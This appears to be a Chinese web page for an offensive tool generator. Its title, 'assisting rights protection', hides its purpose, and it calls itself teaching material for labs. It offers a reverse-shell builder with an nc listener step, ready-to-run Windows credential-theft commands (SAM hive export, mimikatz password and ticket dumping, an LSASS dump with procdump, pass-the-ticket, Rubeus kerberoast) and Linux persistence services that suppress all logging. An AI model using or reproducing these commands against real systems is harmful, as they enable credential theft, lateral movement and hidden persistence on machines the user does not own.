辅助维权

🔒 全部配置 / 命令均由本机浏览器本地生成，输入内容不会上传服务器。

辅助维权 · 教学辅助

本工具仅供内网教学 / 授权实验环境使用，请勿用于任何未经授权的真实目标。三类输出全部在浏览器本地生成：① 反弹 Shell 构建（Linux / Windows 目标机，含普通、Python 动态与 Base64 编码版本）； ② Windows 辅助（SAM / SYSTEM 提取、mimikatz 与常见票据提取参考语句）；③ Linux 自启服务（systemd / init.d 配置生成，不落盘日志、自动重启）。示例 IP / 路径仅为演示占位，请替换为实验环境真实值。

反弹 Shell 构建

先在你自己的实验机上执行 nc -lvnp 端口 监听，再按目标机系统生成对应反弹命令在目标机执行。「IP」填你自己的监听机地址，「端口」与监听端口保持一致。

#1 普通反弹

▼ 下方为 Base64 编码后的可执行版本

#2 Python 反弹

▼ 下方为 Base64 编码后的可执行版本

#3 Python 反弹

▼ 下方为 Base64 编码后的可执行版本

Windows 辅助（凭据 / 票据提取参考）

以下命令均在目标机本地生成与落盘，需以管理员 / SYSTEM 权限执行，结果文件再拷贝到实验分析机解析。

SAM / SYSTEM 配置单元提取

# 在目标机（需管理员 / SYSTEM）当前目录保存注册表配置单元：
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
reg save HKLM\SECURITY security

# 将 sam / system 拷贝回实验分析机后离线还原口令哈希：
#   secretsdump.py -sam sam -system system LOCAL
#   mimikatz.exe "lsadump::sam /system:system /sam:sam" exit

mimikatz 常用提取语句

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit

常见票据提取方法

# 1) 从内存导出会话票据（.kirbi 写入当前目录）
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
mimikatz.exe "privilege::debug" "kerberos::list /export" exit

# 2) LSASS 转储后离线分析（新版 Windows 建议先转储回分析机再解析）
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

# 3) 注入 / 使用已导出票据
mimikatz.exe "kerberos::ptt 1-40a0000-xxx.kirbi" exit
# 备选 Rubeus：Rubeus.exe dump / triage / kerberoast / asktgt / ptt

票据提取后可直接用于横向实验；离线解析需要在分析机上准备 mimikatz / impacket 等教学组件。

Linux 自启服务配置生成

输入需要常驻的执行文件绝对路径，切换「高版本 systemd / 低版本 init.d」即时生成对应配置。生成内容均满足：不产生 / 不落盘日志（stdout、stderr 全部丢弃），异常退出自动重启（间隔 3 秒）。输出可在文本框内继续编辑。